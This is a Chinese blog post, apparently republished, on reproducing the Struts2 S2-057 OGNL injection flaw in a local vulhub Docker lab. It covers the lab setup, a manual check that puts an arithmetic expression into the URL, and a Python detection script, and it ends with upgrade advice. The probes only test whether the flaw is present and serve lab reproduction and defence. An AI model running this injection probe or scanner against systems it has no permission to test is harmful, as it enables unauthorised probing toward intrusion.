struts2-057漏洞復現


 

哎,最近還是比較忙的,各種麻煩事各種心累,突然想起我還有這么一個博客,想着怎么着也得上來寫點東西,上周爆出了struts2-057漏洞,趁閑的時候復現一下,坑還是蠻多的。

直接開始,這里要膜拜一下大佬https://github.com/jas502n/St2-057

首先本地使用docker部署vulhub,詳細的可以參考https://www.douban.com/note/664677507/,或者百度一下,度娘上面說的還是蠻詳細的。

大概來寫下步驟

首先安裝git
$ yum install git-core
安裝完成之后運行一下git clone試試,如果出現選項就說明安裝成功了。
之后安裝docker
$ sudo yum -y install docker-ce

嘗試運行一下

$ docker images

 如果出現鏡像列表則說明成功安裝。接下來就需要安裝vulhub了,在這之前,需要先安裝pip

$ wget https://bootstrap.pypa.io/get-pip.py

 安裝完成之后嘗試輸入pip,出現選項即說明安裝成功,接下來就可以使用pip來安裝docker-compose

$ pip install docker-compose

 直接從github上將vulhub拿下來,由於某些原因,直接下載vulhub會報錯,所以建議直接從github上下載,當然也可以直接下載。

$ git clone https://github.com/vulhub/vulhub

 不出意外的話,下載成功以后查看目錄下會出現vulhub,這個時候就可以進去看看里面有些什么,當然里面所包含靶站的還是比較多的,都可以復現一些比較經典的漏洞。

這里重點介紹下struts2-057漏洞吧,進入struts2目錄下,找到struts2-057,進去。

直接使用docker-compose將鏡像安裝起來。

$ docker-compose up -d 

看下docker里面鏡像庫,如果出現struts2鏡像則說明安裝成功。

 查看psid,復制id后直接啟用環境。

$ docker exec -i -t <id> /bin/bash

 環境就搭建起來了,訪問一下ip:port/struts2-showcase/

這里就訪問成功了,之后驗證漏洞,將url換成ip:port/struts2-showcase/${(111+111)}/actionChain1.action

最后可以看到已經變成了ip:port/struts2-showcase/222/register2.action

說明確實存在struts2-057漏洞。這里給出一個大佬的檢測poc。

import sys
import requests
 
url = sys.argv[1]
url_list = [i for i in url.split("/") if i != '']
 
payload = "${(65535+521)}"
 
payload = "/" + payload + "/"
num = 0
for str in url_list:
    num += 1
    if num == 1:
        nurl = str
        continue
    elif num == 2:
        nurl = nurl + "//" + str
        continue
    elif num == len(url_list):
        nurl = nurl + payload + str
        continue
    else:
        nurl = nurl + "/" + str
        continue
 
try:
    r = requests.head(nurl, stream=True).headers["Location"]
except:
    print "不存在ST2-057漏洞!"
    exit()
 
if r.find("66056") != -1:
    print "存在ST2-057漏洞!"
else:
    print "不存在ST2-057漏洞!"

  還是基於上面提到的檢測方法,大家可以試一下。

漏洞修復:

本質修復還得官方來,所以只能乖乖升級下版本。升級到Struts 2.3.35、Struts 2.5.17這兩個版本。

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM